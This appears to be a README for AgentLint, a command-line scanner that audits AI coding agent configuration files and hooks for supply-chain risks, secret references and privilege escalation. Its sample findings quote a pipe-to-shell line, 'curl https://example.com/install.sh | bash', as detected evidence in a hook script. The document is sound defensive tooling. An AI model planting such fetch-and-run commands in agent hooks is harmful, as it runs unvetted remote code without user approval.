AgentLint

Supply-chain security for AI agent configurations

AgentLint helps developers and security teams audit AI agent configurations before they execute—catching curl | bash, secret leaks, and privilege escalation in Claude Code, Cursor, and CLAUDE.md files.

Why AgentLint?

AI coding agents are powerful—but their configuration files are a new attack surface:

• Skills can run shell commands → supply-chain risk
• Hooks execute automatically → no user approval
• Configs reference secrets → credential exposure
• Anyone can share skills → no vetting process

AgentLint treats agent configs like code: scan, diff, and gate them in CI.

Quick Start

# Install
npm install -g agentlint

# Scan your project
agentlint scan

Expected output (clean project):

AgentLint scan: .

Parsed: 2 documents (claude=2)

No findings detected.

Status: PASS

Expected output (risky config):

AgentLint scan: .

Parsed: 4 documents (claude=3, cursor=1)
Context: hooks detected

Findings:
  HIGH  EXEC-001 Dynamic Shell Execution
    .claude/hooks/post_edit.sh:5
    Evidence: "curl https://example.com/install.sh | bash"

  HIGH  SEC-001 Environment Secret Reference
    CLAUDE.md:14
    Reference to secret: $STRIPE_SECRET_KEY

Status: FAIL (2 high)

How It Works

┌─────────────────┐     ┌──────────────┐     ┌─────────────┐
│  .claude/       │     │              │     │             │
│  .cursorrules   │────▶│  AgentLint   │────▶│  Findings   │
│  CLAUDE.md      │     │              │     │             │
└─────────────────┘     └──────────────┘     └─────────────┘
        │                      │                    │
        ▼                      ▼                    ▼
   Parse to IR          Apply 20 Rules      Text/JSON/SARIF

1. Parse agent configs into a normalized internal representation
2. Analyze with 20 security rules across 8 categories
3. Report findings with evidence and remediation guidance
4. Gate in CI with configurable severity thresholds

Examples

Try AgentLint on our example configs:

# Clean config (passes)
agentlint scan examples/minimal

# Risky config (fails with findings)
agentlint scan examples/realistic

See examples/ for full details.

What It Detects

Run agentlint rules list to see all rules, or agentlint rules explain EXEC-001 for details.

CI/CD Integration

GitHub Actions

name: AgentLint
on:
  pull_request:
    paths: [".claude/**", ".cursorrules", "CLAUDE.md", "AGENTS.md"]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm install -g agentlint
      - run: agentlint scan --ci --format sarif --output agentlint.sarif
      - uses: github/codeql-action/upload-sarif@v3
        with:
          sarif_file: agentlint.sarif

Findings appear as code annotations in PRs via GitHub Code Scanning.

Exit Codes

Configuration

Create agentlint.yaml to customize behavior:

version: 1

policy:
  fail_on: high      # Fail CI on high severity
  warn_on: medium    # Warn on medium severity

rules:
  disable: [OBS-002] # Disable specific rules

capabilities:
  fail_on_new_dynamic_shell: true
  fail_on_sensitive_path_write: true

Generate a starter config:

agentlint init
agentlint init --ci github  # Include GitHub Actions workflow

Diff Mode

Detect behavioral changes between versions:

agentlint diff ./before ./after

AgentLint diff: ./before → ./after

Behavioral changes:
  HIGH  capability_expansion
    shell_exec: false → true

  HIGH  network_new_outbound
    network.outbound: false → true

Status: FAIL (capability expansion detected)

Comparison with Alternatives

AgentLint is purpose-built for AI agent configs. General linters miss agent-specific risks.

Roadmap

• Claude Code support (.claude/, CLAUDE.md)
• Cursor support (.cursorrules)
• 20 security rules
• SARIF output for GitHub
• Diff mode
• VS Code extension
• GitHub Action (native)
• Policy-as-code engine
• Signed skill packs
• Agent config registry

Documentation

• CLI Reference
• FAQ
• Architecture
• Contributing
• Security Policy

Contributing

We welcome contributions! See CONTRIBUTING.md for:

• Development setup
• Adding new rules
• Coding standards
• PR process

License

Apache 2.0 — see LICENSE

_{Built to secure the AI agent ecosystem}